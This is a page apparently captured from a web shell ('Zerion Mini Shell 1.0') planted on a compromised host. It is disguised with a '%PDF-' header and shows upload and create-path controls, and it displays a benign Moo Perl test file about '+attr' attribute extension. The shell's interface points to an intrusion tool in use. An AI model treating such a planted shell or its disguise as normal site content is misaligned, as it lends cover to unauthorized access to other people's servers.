%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/has-plus.t

use Moo::_strictures;
use Test::More;
use Test::Fatal;

{
  package RollyRole;

  use Moo::Role;

  has f => (is => 'ro', default => sub { 0 });
}

{
  package ClassyClass;

  use Moo;

  has f => (is => 'ro', default => sub { 1 });
}

{
  package UsesTheRole;

  use Moo;

  with 'RollyRole';
}

{
  package UsesTheRole2;

  use Moo;

  with 'RollyRole';

  has '+f' => (default => sub { 2 });
}

{

  package ExtendsTheClass;

  use Moo;

  extends 'ClassyClass';

  has '+f' => (default => sub { 3 });
}

{
  package BlowsUp;

  use Moo;

  ::like(::exception { has '+f' => () }, qr/\Qhas '+f'/, 'Kaboom');
}

{
  package ClassyClass2;
  use Moo;
  has d => (is => 'ro', default => sub { 4 });
}

{
  package MultiClass;
  use Moo;
  extends 'ClassyClass', 'ClassyClass2';
  ::is(::exception {
    has '+f' => ();
  }, undef, 'extend attribute from first parent');
  ::like(::exception {
    has '+d' => ();
  }, qr/no d attribute already exists/,
    'can\'t extend attribute from second parent');
}

is(UsesTheRole->new->f, 0, 'role attr');
is(ClassyClass->new->f, 1, 'class attr');
is(UsesTheRole2->new->f, 2, 'role attr with +');
is(ExtendsTheClass->new->f, 3, 'class attr with +');

{
  package HasBuilderSub;
  use Moo;
  has f => (is => 'ro', builder => sub { __PACKAGE__ });
}

{
  package ExtendsBuilderSub;
  use Moo;
  extends 'HasBuilderSub';
  has '+f' => (init_arg => undef);
  sub _build_f { __PACKAGE__ }
}

is +ExtendsBuilderSub->new->_build_f, 'ExtendsBuilderSub',
  'build sub not replaced by +attr';
is +ExtendsBuilderSub->new->f, 'ExtendsBuilderSub',
  'correct build sub used after +attr';

done_testing;

Zerion Mini Shell 1.0